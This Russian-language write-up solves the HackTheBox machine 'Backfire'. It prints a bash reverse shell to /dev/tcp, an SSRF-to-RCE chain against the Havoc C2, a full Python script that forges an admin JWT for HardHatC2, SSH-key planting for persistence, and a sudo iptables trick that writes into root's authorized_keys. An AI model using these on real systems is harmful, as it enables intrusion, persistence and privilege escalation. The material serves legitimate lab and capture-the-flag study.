Backfire Hackthebox Writeup
HTB machine link:
https://app.hackthebox.com/machines/Backfire
Перед началом райтапа, хочу поздравить коллег из команды FR13NDS_TEAM, в частности хакера fisstech, который взял user first blood, обогнав TOP 1 команду hackthebox. Респект)
Recon Ссылка на заголовок
Начинаем как обычно с проверки подключения и сканирования открытых портов
Сразу бросается в глаза 8000 порт. Попробуем зайти на него
Тут у нас лежат два файла. disable_tls.patch и havoc.yaotl
Похоже кто-то развернул C2 HavocFramework. На скриншоте выше - пример, почему нужно не забывать выключать свои python http сервера после использования. Находим два файла - какой-то патч и конфиг Havoc - havoc.yaotl, который требуется для запуска team-сервера.
В патче инструкция по отключению tls в havoc.
А вот файл конфигурации содержит следующие параметры:
- Teamserver - указывает прослушиваемый сервером адрес и порт
- Operators - перечисление зарегистрированных пользователей
- Demon – показывает настройки требующиеся для генерируемого агента.
И полезную информацию, которая применима к уязвимому хосту, включая креды и порты, на котором работает демон, а также домен тачки
Operators {
user "ilya" {
Password = "*****************"
}
user "sergej" {
Password = "*****************"
}
}
Домен кстати ожидаемо backfire.htb
Не забываем добавить запись в /etc/hosts
echo "10.10.11.49 backfire.htb" | sudo tee -a /etc/hosts
User flag Ссылка на заголовок
После небольшого осинта по авторам тачки обнаружился интересный фан-факт - chebuya, также является еще и автором SSRF-эксплоита уязвимости в Havoc. Совпадение? Не думаю.
Пробуем запустить SSRF PoC с кредами, найденными прежде в конфигах.
python3 exploit.py -t https://backfire.htb/ -u ilya -i 10.10.xx.xx -p 8443
Вроде работает, но одного SSRF мало, надо что-то еще придумать.
Тут мы подходим к еще одному фан-факту - hyperreality, второй автор тачки, по совместительству также и автор RCE эксплоита под Havoc.
Придётся крутить SSRF-to-RCE. Тут в теории нужно самому писать код, объединяющий в себе оба эксплоита, но сообщество уже всё сделало за нас, так что просто следим за руками:
Готовим реверс-шелл.
#!/bin/bash
bash -i >& /dev/tcp/10.10.xx.xx/4444 0>&1
Запускаем python http-сервер.
python3 -m http.server 8001
Запускаем прослушиватель.
nc -nlvp 4444
И, наконец, запускаем эксплоит.
https://www.pentestnotes.ru/images/hackthebox/season7/Backfire/SSRF_TO_RCE.py
(не забудьте поменять IP в коде на свой)
python3 rce.py --target https://10.10.11.49 -i 127.0.0.1 -p 40056
Скрипт использует уязвимость в Havoc, связанную с инъекцией команд под аутентифицированным юзером: устанавливает безопасное websocket-соединение, аутентифицирует юзера на сервере, создает слушатель с определенными параметрами и прогоняет цикл командной строки, внутри которого мы можем вводить команды.
Если внести небольшие изменения в эксплойт, то cmd будет запускать наш reverse shell.
Как видим ниже, эксплойт успешно отработал.
Сессия поймана.
Шелл будет выбивать раз в какое-то время, поэтому для удобства я вручную добавил свой публичный ключ ssh в файл authorized_keys
на тачке. Так можно подключаться без пароля.
Чтобы такое провернуть, сначала узнайте свой публичный ключ.
cat ~/.ssh/authorized_keys
(Где ~/.ssh/authorized_keys
— путь до файла authorized_keys
по умолчанию. У вас может быть по-другому.)
Скопируйте полученный публичный ключ и вставьте его в authorized_keys
на захваченной машине с новой строки.
echo "YOU PUB KEY" | tee -a ~/.ssh/authorized_keys
Теперь можно подключаться к тачке по ssh.
Root flag Ссылка на заголовок
Отталкиваемся от файла hardhat.txt, найденного у пользователя ilya.
Наших маленьких редтимеров ничего не смущает, поэтому они оставляют информацию о том, что благодаря Sergej у них где-то торчит ещё один C2 под названием HardHatC2. На него кстати тоже есть RCE.
При просмотре живых портов, в глаза сразу бросаются 5000 и 7096
Пробрасываем эти порты
ssh -L 5000:127.0.0.1:5000 ilya@backfire.htb
ssh -L 7096:127.0.0.1:7096 ilya@backfire.htb
И смотрим что там на вебе
Следуем Vulnerability 2 и Vulnerability 3 пунктам следующей статьи: https://blog.sth.sh/hardhatc2-0-days-rce…88a6815c08
# @Author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests
rhost = '127.0.0.1:5000'
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "strongpassword",
"role": "TeamLead",
"username": "strongusername"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
Это позволит нам создать нового пользователя HardHatC2 с произвольным паролем:
Логинимся
Теперь заходим во вкладку Implant Interact
И находим командную строку, которая исполняет команды от имени пользователя sergej. Можно поймать шелл, но я просто снова закину на сервер свой публичный ключ ssh по аналогии с ilya:
Теперь можем свободно подключаться под пользователем sergej к серверу.
Рассмотрим функции, которые мы можем использовать с правами sudo. Среди таковых обнаруживаем iptables.
Для повышения привилегий можем воспользоваться следующей инструкцией: https://www.shielder.com/blog/2024/09/a-…scalation/
В принципе описанное ниже не требует особых пояснений, мы просто в комментарий к правилу iptables добавляем свой ssh pub key и отправляем правило с “вредоносным” комментарием в authorized_keys.
#add rule
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nYOUR SSH PUB KEY\n'
#verify with:
sudo iptables -S
#save into authorized_keys
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys
Заходим из под рута и лутаем флаг
ssh -i key root@backfire.htb